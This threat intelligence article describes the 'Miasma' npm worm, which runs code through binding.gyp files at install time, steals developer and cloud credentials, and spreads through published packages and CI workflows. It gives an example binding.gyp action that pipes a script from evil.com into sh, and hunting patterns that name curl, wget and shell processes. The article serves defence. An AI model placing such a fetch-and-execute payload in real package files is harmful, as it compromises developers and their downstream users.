A highly sophisticated, self-replicating worm known as Miasma is actively compromising the npm open-source ecosystem through a novel supply chain attack. Security researchers from multiple firms, including StepSecurity, Snyk, and Microsoft, have detailed the campaign, which uses an evasive technique they've named "Phantom Gyp." Instead of relying on preinstall or postinstall scripts in package.json, the malware executes code via binding.gyp files during the npm install process. This allows it to bypass many static analysis security tools. The Miasma worm is a potent credential stealer, harvesting secrets from developer environments and CI/CD pipelines, and then using those stolen credentials to publish more infected packages, creating a rapidly spreading infection.
The Miasma worm represents a significant evolution in supply chain attacks. Its self-propagating nature allows it to spread exponentially without direct continuous operator involvement. The attack, attributed in part to a cluster known as TeamPCP, leverages the Mini Shai-Hulud worm code released publicly in May 2026.
The attack chain is as follows:
npm install command, the node-gyp tool processes a malicious binding.gyp file within the package. This triggers the execution of a malicious script, a technique that evades security scanners focused on package.json scripts.npm tokens, GitHub credentials, AWS, GCP, and Azure keys, HashiCorp Vault tokens, Kubernetes configs, local SSH keys, and browser data.npm tokens to publish new malicious versions of other packages owned by the compromised developer. It also uses stolen GitHub credentials to inject malicious steps into the victim's CI/CD workflows (e.g., GitHub Actions) for persistence and further spread.The core innovation of this attack is the "Phantom Gyp" technique, an abuse of a legitimate build process. The binding.gyp file is a JSON-like file used by node-gyp to configure how native C++ addons are compiled. Attackers have embedded a command in the targets section of this file that is executed by the system's shell during the installation process, a form of T1189 - Drive-by Compromise.
An example of a malicious binding.gyp entry:
{
"targets": [
{
"target_name": "malicious_build",
"sources": [],
"actions": [
{
"action_name": "run_payload",
"inputs": [],
"outputs": [],
"action": ["sh", "-c", "curl -sL https://evil.com/payload.sh | sh"]
}
]
}
]
}
The worm's ability to propagate via CI/CD pipelines is particularly dangerous. By modifying github/workflows files, it can compromise the software build process itself, injecting the worm into legitimate software artifacts and potentially spreading it to downstream users and customers. This is a classic example of T1199 - Trusted Relationship abuse.
The Miasma worm poses a critical threat to the software development ecosystem:
The scale is significant; one compromised package, @vapi-ai/server-sdk, has over 400,000 monthly downloads, illustrating the potential reach of the infection.
No specific file hashes, IP addresses, or domains were provided in the source articles.
Security teams may want to hunt for the following patterns to detect related activity:
binding.gypbinding.gyp file in a package that has no legitimate reason to compile native addons is highly suspicious.node-gypnode-gyp processes that spawn unexpected child processes, such as curl, wget, or shell scripts.bunbun) in a CI/CD environment or on a developer machine where it is not explicitly used is a strong indicator of this campaign..github/workflows/run steps with obfuscated commands.binding.gyp: Use static analysis tools or custom scripts to scan npm dependencies for binding.gyp files containing suspicious actions or shell commands.npm install. Look for unexpected network connections, file system access outside the project directory, or the execution of unexpected processes (bun). This aligns with D3FEND's Process Analysis (D3-PA).npm ls to check for the presence of known compromised packages in your projects' dependency trees.--ignore-scripts: When running npm install in CI/CD pipelines or for simple dependency checks, use the --ignore-scripts flag. This will prevent preinstall, postinstall, and node-gyp build scripts from running. Note that this will break packages that legitimately need to compile addons.binding.gyp.package-lock.json) and do not automatically update to the latest versions of packages without review. This prevents a newly compromised version from being pulled into your build.Miasma worm campaign expands to PyPI with Hades variant, using .pth files for persistence. Over 100 packages compromised, increasing overall impact.
Preventing the execution of arbitrary scripts during package installation, such as with the '--ignore-scripts' flag, is a key mitigation.
Mapped D3FEND Techniques:
Running build processes in isolated, ephemeral containers can limit the worm's ability to access persistent credentials or propagate.
Mapped D3FEND Techniques:
Using short-lived, narrowly scoped credentials in CI/CD pipelines minimizes the impact if they are stolen.
Mapped D3FEND Techniques:
A rapid campaign was observed where attackers published over 286 malicious versions across 57 npm packages in under two hours.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.